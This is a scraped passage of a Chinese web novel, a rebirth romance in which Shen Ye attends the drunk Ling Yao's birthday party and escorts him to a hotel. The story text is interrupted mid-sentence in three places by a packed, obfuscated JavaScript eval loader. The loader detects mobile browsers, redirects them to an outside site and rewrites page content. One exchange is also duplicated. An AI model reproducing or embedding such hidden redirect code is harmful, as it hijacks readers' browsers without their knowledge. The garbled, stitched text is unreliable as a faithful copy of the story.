曾巍巍脸色刷白,嗓音都发哑:“曜哥,我不是那个意思……” “你不是那个意思。”凌曜垂眸,轻轻点头,像是附和。 可下一秒,他淡淡补了一句:“行,那就下去吧。” “什么?” “我不赶你。”凌曜嗓音极轻,“但我这楼上,确实不留给外人。” 这句话像是踩断了他最后一点颜面。 曾巍巍死死绷着,青白交错的面孔终于彻底扭曲。 几秒后,他猛地挣开安保的拦阻,狼狈至极地摔门而去。 砰—— 厚重的门声震得众人心口一颤。 包间终于死寂一片。 一圈少爷全都屏着气对视,不敢再出声,连呼吸都压得极低。 沈野还没动,只是转过头去,悄然望向凌曜。 凌曜抬手,嫌恶似的踢了一下地毯上被蹭脏的鞋印,漂亮的侧脸低垂下去,眉眼冷艳。 半晌,他闷闷地吐出一句:“……动手干嘛,脏你手。” 然后,那人像是什么都没发生一样,慢条斯理地掸了掸衣角,重新坐回了卡座最里头的位置。 连眼睫都没怎么抬一下。 刚才那一幕仿佛只是打翻一杯水,不值一提。 沈野很意外。 他们现在关系不太亲近。 两个人几年没有怎么联系,有凌曜的局沈野也不爱去,现在在一个空间带着,除了最开始外,也没说几句话。 灯光打在凌曜那张脸上,是那种酒店惯用的暖黄,晕得人影子都柔下来。 可那张漂亮的脸偏偏没什么情绪。 指节修长,轻轻扣着酒杯,姿态矜贵得像在拍时尚杂志。 沈野一时间又开始往奇怪的方向去思考。 这时候的凌曜,对自己,到底有没有那么一点意思? 如果仅凭刚才他一句“自己人”的庇护,就往喜欢上去联想,未免太自作多情了。 太子爷本来就有点喜怒无常的。 他一直都这样,从小就藏得深。 哪怕小时候咬了沈野一口,或者抢走沈野新买的手办,都能笑眯眯地不动声色反手告状,让沈野被家里骂一整天。 但沈野记得,有些时候他不是这样的。 比如高中毕业后,凌曜出国读书前,在沈家门口坐了一晚上,第二天却硬说是来还书。 ……可那都是从前的凌曜了。 而现在这个刚刚二十二岁的凌曜,还没从国外毕业,脸蛋比葬礼上的更稚嫩一点,两颊的婴儿肥还没有退干净,乍一看很是少年气,让他一瞬间有点恍惚。 如果说上一世凌曜对他是真的有点什么…… 那现在呢? 沈野心里纳闷,刚刚听起来像是替他撑腰,但凌曜很可能只是作为主人,在护着自己的场子而已。 如果喜欢,那为什么看不出来呢? 想不通,沈野掐了掐眉心,眼皮一跳,突然有点想喝酒。 他端起桌上的杯子,一口饮尽。 酒精灼得喉咙发热,顺着食道滚下去,胃里腾起一股火。 又倒了一杯。 场子一直冷寂着,这时,孙潇桡像是终于忍不住了,站起身鼓了鼓掌:“哎哟我说,今儿太子爷过生日,咱别搞得跟什么似的!” “别愣着啊,都坐回来——来,来,我安排了点节目。” 他一招手,不知道什么时候跟来的几个女生就走了进来。 门开了,几个打扮精致的女生踩着高跟鞋走进来,高的、矮的、温婉的、辣妹型的,各有风情。 香水味混着酒味和烟味,一下子把包间里压抑的气氛搅得轻浮起来。 “都是朋友,都是朋友!”孙潇桡兴奋得像个在台上主持节目的疯子,“咱也不玩太过分的,就随便几个小游戏,活跃气氛嘛!让咱太子爷过个快乐生日!” 有男生配合地吹起口哨:“潇哥牛批,啥时候安排的?” 孙潇桡一边笑一边指挥,“来,女生一边,男生一边,抽牌转盘!输了的要接受惩罚啊!” 厅里早就想赶紧忽略刚刚的插曲了,现在有了孙潇桡还有气氛,都重新热闹起来,对不久前发生的事情只字不提。 一群人纷纷聚在转盘前,有人挑着灯光拍照,有人已经笑得在沙发上打滚。 热烈而轻浮的笑声压了上来。 沈野没动。 他又喝了一口酒,眼皮低垂,睫毛在光下落下淡淡阴影。 一阵香水味飘了过来。 他抬起头,就看见孙潇桡带着两个女生走了过来。 “哎,野哥,我特地给你挑的,这两个一个是画国画的,一个是跳芭蕾的,都特温柔,特会照顾人。” 孙潇桡挤眉弄眼的,特别开心,“哥几个都说你冷,其实我知道你就外冷内热。来,挑一个坐你旁边呗,别老喝闷酒。” 沈野坐在那里,向他身后看去。 两人确实漂亮,长发大眼,乖巧又主动,朝他笑得也挺甜。 可他只是摇了摇头:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779264|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不了。” 孙潇桡愣了一下,“……不是吧?你别装模作样的哦,我又不会笑你。” 沈野笑笑,“我不需要。” 说完,他自顾自喝了口酒,眼神又不动声色地扫向另一头的卡座。 凌曜坐在那里。 他没参与游戏,低头看着手机,手指翻动得飞快,像在狂发消息。 沈野眉心一蹙。心想都回国了,还在这时候盯着A国的事?真有那么重要吗? 要是有事,怎么不在A国处理,还回国干嘛。 孙潇桡见沈野好像真没这个意思,讪讪笑着把人扯走,混入另一群起哄的人堆里。 人群那头吵得快把屋顶掀翻,转盘哗啦啦转,香槟碰撞声一波接着一波,金色灯光乱闪,笑声盖过音乐。 沈野刚把第三杯酒抿了一口,身侧的沙发忽然微微一陷。 肖展颜换了位置,慢悠悠坐到他身边。 他拎着一杯威士忌,琥珀色的液体摇得缓慢,姿态一贯的俊朗,靠在沙发背上,长腿交叠。 “真是好久没见你了。” 沈野点头:“嗯,这两年不太来这种局。”他顿了顿,似是随口问,“听说你不是去Z国了?” “是啊,刚从Z国回来没几天。”肖展颜声音带点疲惫,像刚从长途飞行里拖出来,“这次要不是曜曜死活喊,我真不一定来。哎,不过他说什么我都得赶上。” “生日嘛,一年就一次。” 肖展颜顿了顿,又低声笑了下:“其实这生日局原本定在A国的。那边场地都选好了,是洛杉矶的私人会馆,望见海岸线,甚至连酒水清单都列好了。” “结果前两天,他忽然改主意了,直接订机票回国,连家里人都没打招呼。说要在这里办,就非得办。你知道他那性子,说一不二,可有主见了。” 沈野握杯的手微微一紧,转头望他。 “……你说什么?” “我说生日局啊,本来是在国外的。”肖展颜无所谓地摊手,“临时换地点,任性吧?但咱们家一直就这么宠他。” 沈野眼睫垂了垂,掩下情绪,装作随意问:“那他在国外过得挺好吧?” 肖展颜被问得一愣,挑了下眉:“嗯?怎么忽然关心这个?” 沈野只坦白道:“好奇。” 他是真的想知道,凌曜现在性向如何。 于是更加直白:“那他在国外……谈恋爱了吗?” 肖展颜抿了口酒,歪着头想了想,语气慢悠悠:“可能吧。” “我也不敢确定。上回去A国谈合作,我在一个私人画廊碰见过他。那画廊只对会员开放,得挂名义基金才进得去。” “当时他旁边跟着个姑娘,米色风衣,戴着贝雷帽,笑起来神态有点……” 他话顿住了,视线飘了沈野一眼,神色微妙。 “有点什么?”沈野问。 “没事。”肖展颜笑了下,转而抿酒,“可能是我看错了。再说了,谈没谈恋爱也不一定。” 沈野“哦”了一声,没什么表情。 心里却深深松了口气。 他倒是希望凌曜真谈恋爱了,那这样的话,至少说明凌曜现在还没弯。 不要弯,千万不要弯啊。 5. 第 5 章 肖展颜没再聊凌曜感情上的话题,只是笑着举杯:“来,成年人的烦恼不值一提,喝酒。” 沈野点头,心情也好一些了,于是陪他一口一口喝。 氛围稍微轻松了点。 可下一秒,肖展颜忽然眉头一拧,目光落向另一边的卡座。 “……操。” 沈野抬眼:“嗯?” 肖展颜像是被吓到,低声骂了句:“曜曜在喝酒。” 沈野顺着他的眼神望过去。 灯光斑驳。 凌曜懒散地陷在最里头的沙发里,右手支着下巴,另一只手里拿着一杯高脚杯。 杯里液体已经少了一半,他神情漫不经心,又慢吞吞地往里续了大半。 “……卧槽,他什么时候喝的?”肖展颜急了,整个人都往前探,“刚才不是还好好的?!” 沈野一顿,猜测道:“可能刚开始?” “刚开始也不行啊。”肖展颜急得压低声音,语速都快了,“你知道他酒量。别说伏特加了,他从小一口香槟都能醉。你不知道吧,小时候我还见过他喝一杯红酒直接睡在宴会桌底下,他妈当场就气哭了,一连几天都指着那群保镖骂人。” “他成年之后,每年他生日,家里人都会提前打电话叮嘱我一遍,说他胃不好,绝对不能喝。以前在A国,都是阿姨跟着照顾,连夜里喝的温水都是,凉一点都不行。” 沈野盯着灯影下的凌曜。 那人指尖轻轻转着杯脚,动作不紧不慢,看上去像是在优雅地小酌。可沈野看得出,那神情一点都不像是享受气氛。 更像是……赌气。 仿佛明知道这杯酒会烫伤喉咙,明知道胃会疼,却还是硬生生要咽下去。 就在沈野视线还停在他杯沿那滴酒没滑落时,凌曜忽然抬头。 灯光一晃,两人的视线毫无预兆地撞上了。 凌曜在脸在这光下秾艳得几乎不真实,只一眼就美得惊心动魄,带着点酒精的燥热,晃得人脸都在发烫。 沈野一瞬间没能移开。 凌曜直直地看着他,那双精致的眉眼里装着的东西过于复杂,明明微微敛着,像是有点醉,可里头藏着的东西太乱,像谁把欲望和情绪扔进去搅了一遍,搅得一团糟。 被极其猛烈的情绪牢牢盯着,沈野喉结动了动,整个人像是被绷在一根弦上,动也不是,不动也不是。 连手里那杯酒溅了出来,他都没察觉。 空气里浮着一股藏不住的奇怪氛围。 像是一种莫名的情绪从缝里窜出来,混着光、混着他眼底那点若有若无的湿气,一下子扑了过来,把沈野吞了个透。 明明什么都还没发生,可他已经能预感到,后面会有大事。 而他,根本躲不掉。 这样的凌曜太陌生。 不知道过了多久,凌曜移开了目光。 沈野回过头,为了纾解情绪,和肖展颜又继续闲聊起来。 忽然。 “诶!!!”肖展颜猛地一声惊叫,吓得周围几个少爷都停下了动作。 沈野皱眉,无语地看向他,“又怎么了?” “凌曜倒了!” 沈野一懵,顺着他眼神望过去。 只见原本还端坐在卡座里的凌曜,下一秒像电量耗尽的娃娃一样,整个人歪倒在了沙发一角。 修长的手指还攥着杯子,琥珀色的液体摇晃着,差点洒了满身。 “靠,他这倒得也太快了吧……”肖展颜急得一把拽住沈野,“别愣着,快过去!” 沈野还懵着:“你拉我干嘛——” 话没说完,整个人就被肖展颜半拖半拽地跨了过去。 沈野踉跄几步,刚靠近卡座,就看到凌曜歪在那儿,头偏着,睫毛贴在脸颊上,被酒意染得不正常的红。 不作不闹的时候,看起来还有点儿乖。 肖展颜慌了,立刻伸手去拍他肩膀:“曜曜?醒醒?你别吓我啊。” 一连两下,毫无反应。 第三下时,凌曜才慢慢睁开眼。 眼神一开始是空茫的,像雾气蒙了一层。半秒之后,焦点逐渐聚拢,像是努力辨认。 下一瞬,那目光便死死落在了沈野身上。 “……你又怎么了。”沈野下意识问。 凌曜睫毛颤了颤,噘着嘴道: “你迟到了。” “……” 肖展颜果然转头瞪了凌曜一眼,质问:“对哦你为什么迟到!” 妈的,这个死弟控。 沈野甚至有点想冷呵呵地告诉他,我特么迟到是因为你弟在葬礼亲了我,所以我不敢面对这个死gay。 但他是一个体面的成年人,于是道:“最开始已经解释了啊,路上堵车,我已经尽力赶过来了。” 凌曜又睫毛颤了下,特别委屈道: “那,那你干嘛不回我消息。” 回忆了一下刚刚凌曜噼里啪啦发消息的样子,沈野迟疑着问:“你刚刚……发消息给我了?” 肖展颜懵逼地看了沈野一眼。 凌曜那双漂亮大眼睛包着眼泪,慢慢摸出手机,锁屏划开,递到沈野和肖展颜的面前。 屏幕亮起来,是微信聊天界面。 沈野低头一看—— 对话框里赫然躺着几条未送达的消息,每条旁边都顶着一个红色感叹号。 【消息发送失败。】 肖展颜看了也愣了,“……你把我弟拉黑了?” 他咬牙切齿,呵呵笑起来:“沈野,不愧是你,真牛。” “我没有啊。”沈野更加无语,“我没事拉黑他干嘛?” 凌曜噘着嘴。 还是那副半醉不醒的样子,窝在沙发里,眼睛微眯,包着眼泪,感觉像在控诉负心汉。 看起来困呼呼,醉醺醺的,委屈巴巴的,可眼神又倔,紧紧地盯着他。 沈野抬眼盯着屏幕,又低头扫了一遍,像是要确认自己没看错。 忽然,他反应过来,手指一顿。 ——等下。 屏幕上那行小字清清楚楚写着:“你已将对方加入黑名单。” 沈野愣了半秒,才低声骂了一句:“操。明明是他先把我拉黑的。” 肖展颜懵了:“啊?” 沈野把手机递过去,语气带点讽刺:“你看,这写得清清楚楚。他手机里显示的是我被他拉黑,不是我拉的他。” 肖展颜凑过来一看,果然如此。 然后他又纳闷道:“那问题来了啊……他把你拉黑了,还发那么多条消息干嘛?” 沈野也不知道。 两人低头,再看那几条消息。 “脚后跟续松湖。” “小猫骑老奶奶过马路。” “我今天的没有凌云塔高所以心情一般。” “你是不是不回我消息我就坐你梦里。” “脚后跟……脚后跟我还没说完……” 沈野:“……” 肖展颜:“……” 两人同时沉默。 片刻后,肖展颜忍不住皱眉,压低声音嘀咕:“……到底喝了多少?” 沈野也心烦意乱,喃喃道:“他这是真醉了,还是故意装疯?” 肖展颜摊手,“你问我?我他妈也想知道。” 凌曜却还半躺在沙发一角,修长的身子懒懒散散,像是完全没骨头。 他的手机还在沈野手里。 那张脸上带着倦倦的红晕,睫毛动了动,眼神带着点水汽,又倔又执拗。 沈野站在原地,一时间不太知道自己是该气,还是该笑。 手里还握着那部手机,屏幕还亮着,光打在他指尖,连指骨都透着点发烫。 而沙发上的凌曜,眼神一寸寸对准他,晃悠悠的,像是怕他忽然不见,又像是喝得不省人事的小孩。 半晌,他嗓音沙哑,慢吞吞地冒出一句,带着委屈:“……你干嘛不回我。” ——你拉黑的我啊。 沈野喉头动了动,愣是没说出口。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779265|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 太子爷这副样子。 漂亮,醉醺醺的,还记仇,偏要人哄。 说什么都不合适了。 气氛一时陷入沉默。 沈野站在那儿,指尖还搭着凌曜那部手机,心里盘算着,这烂摊子还是该交回去给他表哥收拾。 他把手机轻轻放回凌曜身边,正准备找个借口走,却忽然被肖展颜拦住。 “你别走啊。”肖展颜一边说,一边伸手摁住他胳膊,“我一个人搞不定他。” 沈野挑眉:“这里不是一堆人呢?你找别人搬回去不就行了。” “你真当容易?”肖展颜看他一眼,语气很认真,“你以为他喝醉了就软趴趴的?不,他力气大得很,万一一会儿非要跳窗,我拦不住。” “……”沈野一时无言。 “行了,你就留在这吧。”肖展颜拍拍他肩膀,笑说,“咱们也好久没见了,就当叙叙旧。” 沈野低头看了眼沙发上那人。 凌曜仍半倚着,修长的身子陷在真皮沙发里,眼睛是睁开的,却一会儿清明,一会儿飘忽,像是随时会睡过去。 看样子,是真的不好搬回凌家。 沈野沉默了两秒,叹口气,在沙发另一侧坐下:“我在这坐会儿,等我要走了,你再喊人来。” “好嘞兄弟。”肖展颜识趣地点点头,“那我去趟洗手间。” 沙发区瞬间安静下来,只剩下他们两个。 “我在这坐会儿,等我准备走了,你再喊人。”沈野叹了口气,在沙发一侧坐了下来。 肖展颜识趣:“好的兄弟,那你等我去上个卫生间。” 沙发区瞬间只剩下两人。 旁人也看出了太子爷醉得不轻,可偏偏沈野坐在旁边,又刚刚和曾巍巍闹出那一幕,谁都不敢冒然凑过来。 沈野无聊地拿起果签,挑了一块哈密瓜,慢悠悠送进口中。 就在这时,耳边传来一声含混又黏糊的呢喃。 “……你干嘛,不回我消息嘛……” 声音软得要命,尾音还带点撒娇似的颤,像是醉酒后把白日里所有锋芒都卸了,剩下的全是小少爷被娇惯出来的委屈。 沈野手指一顿,果签在半空悬着。 他扭头望过去,只见凌曜偏着头,眼睫长长地垂下来,脸颊红透,漂亮得不像话。 像是在等他开口哄。 “少爷,你拉黑的我。”沈野语气淡淡地说。 凌曜眨了眨眼。 “不是我。”他撅着嘴,嘴硬。 “是你,就是你。”沈野有点不耐烦地把手机递过去,指尖点了点屏幕,“你自己看,微信设置上写得清清楚楚。” 凌曜低头扫了一眼,旋即又仰回去,胳膊搭在眼睛上挡光,声音闷闷的:“……我不记得了。” 他一动不动,活像是彻底摆烂,拒绝再争辩。 沈野看着这副赖皮样子,心里又无奈又想笑。 这副场景忽然把他拉回到很久以前。 那时候他们都还小,凌家别墅还在半山腰,院子里常年修剪得像迷宫一样的绿篱,佣人和奶妈成群地伺候着。 小太子是含着金汤匙长大的,连穿睡衣的扣子都有人帮忙系。 可即便身边人再多,凌曜还是最爱黏着他。 沈家和凌家大人常常要去社交晚宴,两边小孩就被放在影音室看动画片。 凌曜最小,白白嫩嫩,脸颊鼓鼓的,一见面就“哥哥哥哥”地叫他,声软得能把人心揉碎。 “哥哥,你帮我换碟片嘛。” “哥哥,我要坐你腿上!” “哥哥,这糖纸撕不开,你帮我剥一下……” 他跟个奶团子似的,精力旺盛又娇气,哪怕佣人伸手去帮忙,他都要先仰着脸问:“哥哥可以吗?” 那会儿的凌曜,连哭都讲究分场合。别人惹他不高兴,他总要先瞄一眼沈野在不在,如果沈野在,他就忍着,死活撑着一副乖巧模样。 以免破坏自己在沈野面前的形象。 6. 第 6 章 后来两人还一起读过几年书。虽说不是同届,沈野大他四个年级,可凌曜还是会偷偷穿过教学楼,跑去他教室门口等。 “哥哥,陪我去拍皮球。” “哥哥,你下课了吗?” 那时他们关系很好,虽然有人蛐蛐他是“太子伴读”,但语气都是酸溜溜的。 沈野知道,这种人嫉妒他和凌家太子玩得好。 可再大一点,情况就变了。 凌曜突然叛逆,不再“哥哥哥哥”地叫他了。 他学会仰着下巴,带着点少爷的傲气,声音漂亮又凉凉地喊他: “沈野。” 声音还带点少年变声期的喑哑,眼神也比小时候多了点倔劲,每次喊沈野的名字都像要吵架。 比如会说,“沈野你别管我。” 沈野那时还纳闷过,想你不是挺喜欢我这个哥哥的吗? 怎么忽然没礼貌了? 现在他也搞不明白,只把这个当成凌曜长大了。 奶团子终究变恶龙。 沈野看着沙发上半醉的凌曜,忽然觉得讽刺。 脑子里一幕幕翻过去,眼前这个人,脾气阴晴不定,坏得像个火药桶,还能在葬礼上亲男人。 沈野忍不住在心里暗骂了一句:凌家是变态吗? 怎么能把当初那个乖乖的小奶团子,养成了这么个疯批死gay啊? 他指尖还攥着那部手机,屏幕的光落在凌曜睫毛上,衬得那张脸醉意朦胧,带着点委屈。 沈野叹了口气,准备说点什么,但看见了凌曜嘴巴一动一动的。 他凑近一听。 “……我刚刚不是故意的。” 凌曜没睁眼,声音小小的,像是梦话。 “我没想把你拉黑。” 他半闭着眼,指尖揪着沙发边角,像在梦里补救:“我以为……你早就不想理我了。” ——所以我先拉黑了你。 像是小朋友生气不讲道理一样,既然你不理我,那我也不理你。 沈野一挑眉,不知道他说得是真还是假,不过他倒确定,凌曜估计是真的醉了。 不是在装醉。 要不然,他怎么可能这么服软示弱? 肖展颜回来得比预想的晚,脸色已经带了点急促。 “我得先走一步,”他拍拍沈野肩膀,“我妈临时叫我回家,说她身体不大舒服。” “凌曜怎么办?”沈野抬了抬下巴。 “交给你了呗。”肖展颜毫不犹豫地说。 沈野眉心一拧,“不是,你凌家没人了吗?叫司机来不就行了。” “他现在这副德行你敢送?你忘了他最烦别人动他手机、动他人?他醒来知道了,估计得翻天。”肖展颜揉了揉眉心,一脸无奈,“再说了,他家那边也不合适。” 沈野狐疑,“有什么不合适的?” “他爸看见凌曜这幅样子估计得气疯,而且他爸现在正请一堆朋友在家里聚会呢。”肖展颜无奈地笑了下,“他一身酒味回去,我们所有人都完了,还不如你送他去酒店,他明早自己醒了就能回。” 沈野眯了眯眼。 “不是你说他喝醉力气大吗?” “对啊,所以我现在走之前,给你下最后一道命令。”肖展颜一本正经立正,拍拍他肩膀,“你就负责看好他,不然我俩谁都跑不了。” “我凭什么负责?”沈野终于忍不住了,怒道:“他自己喝醉的,你把责任甩我头上干嘛?!” “你不是他哥哥吗?”肖展颜一脸无辜,“从小带他的大哥哥?小时候他感冒,你喂他吃药,我都记得。” “……” 沈野被堵得说不出话。 你不是他亲表哥吗。 他是真烦肖展颜嘴碎,明明以前觉得肖展颜挺好的,今晚觉得这人格外烦人,果然凌家的人都一样讨厌。 更关键的是,他低头看了眼凌曜。 那人醉得彻底,歪在沙发上不动,脸蛋泛红,眼尾还像揉过,湿漉漉的。像个喝醉的小动物,软得一戳就塌下去。 看起来……真他妈好欺负。 沈野心头憋火,忽然冒出个荒唐的念头:要是自己趁机揍他一顿,明天他酒醒,会不会记不住? 他抬头,发现肖展颜话音刚落,一溜烟跑了。 连个人影都没了。 沙发区瞬间安静下来,只剩下沈野和那烂摊子。 他抬手揉了揉太阳穴,低声咒了句:“……操。” 把人送出LUX的时候,沈野真切体会到什么叫“喝醉的人是死沉的”。 凌曜看着白白净净、薄薄一层肉似的,真上手才发现,这人压得他胳膊直麻。 几乎是半拖半架,哄着硬拽着,才把人折腾上车。 可还没松口气,那人又不老实。 一会嚷着要水喝,一会嫌车座太硬坐不住,一会儿迷迷糊糊伸过来抓他手,还以为沈野是肖展颜呢,口齿含混:“表哥,你热不热啊……怎么这么热……” 沈野整个人都起了鸡皮疙瘩。 他是纯直男,大学打球洗澡都得裹着裤衩的人,除了医生,压根没习惯被男人这么黏糊糊碰。 他手指立刻一紧,恨不得抽回来。 可偏偏又怕凌曜醉得东倒西歪摔着,只能后背僵得像钢板,生生绷着肩膀去撑他,嘴里咬牙切齿:“凌曜,你他妈清醒点!” 结果人家压根不听,反倒又蹭了蹭,低声哼唧:“表哥,你摸摸我的头嘛,我头晕……” “我才不摸!你给我坐好!”沈野黑着脸吼了一句。 凌曜被这一吼,竟乖乖“嗯”了一声,真的安分了点。 沈野心里刚想松口气,却忽然生出一点古怪。 ……怎么会这么沉? 他常年健身,按理来说,普通成年男人的体重不会是这样的。 沈野低头看了眼副驾的这位太子,鬼使神差地捏了捏他的胳膊。 不摸不知道,一摸才发现,那胳膊线条紧实,肉底下是结结实实的劲儿。 沈野愣了下。 印象里,凌曜一直被娇惯得,连稍微走快了都能喊累。 什么时候悄没声儿地练出这身腱子肉了? 难道在 A 国泡健身房去了? 他暗暗咂舌,也觉得情有可原。 那边风气本来就爱健身,清晨跑步晚上撸铁,挺常见的。 可再一转头看见凌曜醉得人事不省,乖乖闭着眼睛,沈野又忍不住腹诽: 行,练得再壮也照样喝趴下,真丢人。 快到酒店的时候,沈野终于腾出手给前台打了电话,让人提前准备了房卡。 一路上他都在劝自己:送个喝醉的人回酒店,有什么的,兄弟之间也不是没干过。 只是兄弟不会窝在你肩上睡得香,还带着点呼吸的热气扑在你脖子里,像是贴着你撒娇。 他真没法确定。 刚满二十二岁、还没过完生日的凌家太子,现在到底是不是直的? 但有一点他能肯定:自己要是再多待一会儿,今晚八成得出事。 不过出事的不是他,是凌曜。 他可能真的会忍不住,要把凌曜痛揍一顿。 电梯“叮”一声到了楼层。 沈野一手扶着人,一手刷开房卡,把门推开。 冷气扑面而来,屋里干净敞亮,奢华得一看就知道不差钱。 他半拖半拽地把人弄到沙发上,一松手就听见“咚”一声。 凌曜整个人脸朝下栽在抱枕里,丝毫没有要醒的意思。 沈野看了他一眼,眉心突突直跳,半晌才挤出一声叹气。 “算了。” 他转身去浴室拧了条湿毛巾回来,把人从沙发上翻了个身,随手拨开额头上乱七八糟的头发。 那张脸近在咫尺。睫毛长得夸张,像两把小刷子,眼皮底下还带点酒意的红。 脸颊是未褪的婴儿肥,透着一股子白里泛粉的软乎劲儿。 沈野盯了几秒,心里火大。 良久。 他弯下身,伸手,恶狠狠地在那张软乎乎的脸上捏了一把! 有点意外,他脸颊真是又滑又软,手感绝了,居然还带点回弹。 “啧。”沈野咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16779266|190331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙切齿,仿佛捏住了仇人的命门,“烦死了。” 可偏偏这玩意儿一旦上手就停不下来。 他松开,又忍不住捏了第二下。 然后是第三下。 捏完又拍了拍他的脸,有点像轻轻地扇巴掌。 谁让凌曜这么折腾人的?不能喝酒还硬喝,那个肖展颜也是,莫名其妙遭殃的还是他。 “……皮肤不错啊。”沈野哼了一声,嗓音带着讥讽,“跟小时候差不多。” 报复完,他才开始搬运。 把人从沙发扒拉起来,半拖半抱往床上送。谁知道自己一手打滑,凌曜脑袋直接“咚”的一下磕在床沿。 “我靠!”沈野吓得浑身一激灵,立刻把人按住,心都提到了嗓子眼。 低头一扒拉,果然——头皮那块地方已经泛红了。 凌曜眉心皱了皱,睫毛一颤,像是被惊醒,低声呜咽了一下,声音嘟嘟囔囔、可怜兮兮的: “……你干嘛打我……” 沈野整个人僵在原地,脑子里嗡一声,尴尬得脚趾抠地。 “我没打你。”他心虚了,赶紧解释,“我就是看看你是不是起包了!” 可越解释越心虚。 再一看,那块地方果然慢慢鼓起来,指不定明早就得肿成个鹅蛋。 沈野咬牙切齿:“你怎么这么脆皮啊?!” 他把人重新扶上床,心里已经在飞快打算盘:要不要留个字条解释? 还是买瓶云南白药喷雾送过来? 可他又清楚,凌曜要是真交给别人照顾,出了事,麻烦可就大了。 所以哪怕心里骂了八百遍“麻烦”,沈野还是恶狠狠把被子一甩,给他盖好。 床头灯下,他盯着那张终于开始熟睡的脸,胸口烦躁得要命。 最后咬牙切齿在心里骂了一句:“……操,欠你的。” 他刚抬脚要走。 “沈野。” 耳边忽然传来一声带着鼻音的低唤,含糊又软塌。 不是梦话。 更像是刚刚睡着,又迷迷糊糊地清醒了一瞬。 沈野脚步顿住。 “你又怎么了?” “……我想洗澡。” 沈野差点没被噎死。 “洗什么澡,你老实点。” 凌曜被吼了一下,迷迷瞪瞪地抬起眼,睫毛湿漉漉的,声音里带着点委屈:“为什么不行啊?” “……” 一个大男人醉成这样,自己要是搀着去浴室,衣服一脱一水一淋……那画面想想都膈应。 他才重生没几天,自己葬礼那一幕杀伤力太大,他压根不愿意去回忆。 更何况,他跟凌曜不是那种关系,前世甚至还有仇。 沈野烦躁地抬手在自己眉心重重按了两下,硬声道:“不可能。睡觉!” 凌曜愣了愣,似乎没听懂,机械地眨着眼重复:“为什么啊……” 沈野黑了脸,嫌恶和不耐烦全写在眼里:“因为我不想碰你。” 冷冷的一句,把醉意里的凌曜怔在原地。 他嘴唇动了动,似乎还想说什么,最后却只是轻轻“哦”了一声,安静下来。 连着几分钟,床上的人没再出声。 沈野这才轻轻吐了口气,神色不变,抬脚走得比谁都快。 门“咔哒”一声合上,房间重新归于寂静。 可床上的人却猛地睁开眼。 密而长的睫毛颤了颤,眼底带着还未散去的水意,嘴角却悄悄往上挑起一边,脸上又是纠结,又是得意。 “嘶……” 凌曜翻了个身,把脸埋进枕头里。 沈野怎么这么粗暴啊,有这么不喜欢他吗? 用毛巾给他擦脸,感觉整块皮都要被他擦下来了。 还有刚刚磕到床沿,头皮那块鼓起来的包,也是真疼。 连澡都不愿意给他洗,难道就这么讨厌他? 不过,他也听见了沈野捏他脸的时候,嘴里那句评语: “皮肤不错,跟小时候差不多。” 凌曜眼尾弯起,低声笑了笑。 7. 第 7 章 沈野到家时,已经凌晨两点多。 外头小区的路灯还亮着,一闪一闪的。 风从窗缝灌进来,有点凉。 他下意识吸了口气,把衣领往上拢了拢。 进门、洗漱,一气呵成。 再看手机时,未读消息已经堆了一长串,其中一条跳出来的是孙潇桡的微信: 【我靠你今天太牛逼了】 紧接着第二条: 【从现在起,我叫你沈哥】 沈野看着那几个字,眉梢没什么表情,指尖在屏幕上停顿了两秒,没立刻回。 床头灯下,他靠进枕头,手机还在一条条震动。 大多都是今晚在LUX局里的人发来的,有人发语音,有人甩表情包。 【沈哥,你明天有空不,出来吃个宵夜嘛】 【我表哥他们那个新能源盘子也在谈,要不要介绍一下?】 【之前我不是说过那个广告资源么,我觉得你可能合适。】 沈野指尖滑过去,一条条看,没回。 这时候他才意识到,今晚和曾巍巍那一下,他好像真的赢了。 沈野摇摇头,有点感叹。 圈子这玩意儿,说白了就是权力,你要是硬气,别人就往你这边靠,你要是一软,立马就有人骑你脖子上吐口水。 而这一回,他突然从边角跳到正中央,不是因为他自己有多厉害,而是因为凌曜在LUX里当众护了他,而且还明牌表态—— 沈野是他的人。 一群人本来早就认定沈家脱了节,不值得再投资交情,可凌曜一句话就让他们集体打脸。 于是态度急转直下,笑脸更多了,敬酒也更殷勤了,私底下的邀约更是层出不穷。 热闹是热闹了。 但沈野心里更清楚。 这份靠拢,八成是奔着凌曜去的。 他真正的主战场,不在这些饭局酒局里。 几天后,酒局余热过去,沈野忙得不可开交。 石家的那个地块还在僵着,石志诚迟迟不肯松口。沈致远说那边背后有人撑着,估计不是普通的事。 这块地是沈致远盯了半年多的旧改项目,关系到他们公司能不能顺利接上主城轨交的配套工程,算是今年最重要的一笔。 沈野前世就是在这个时候,合约落空,从此被踢出资源链的。 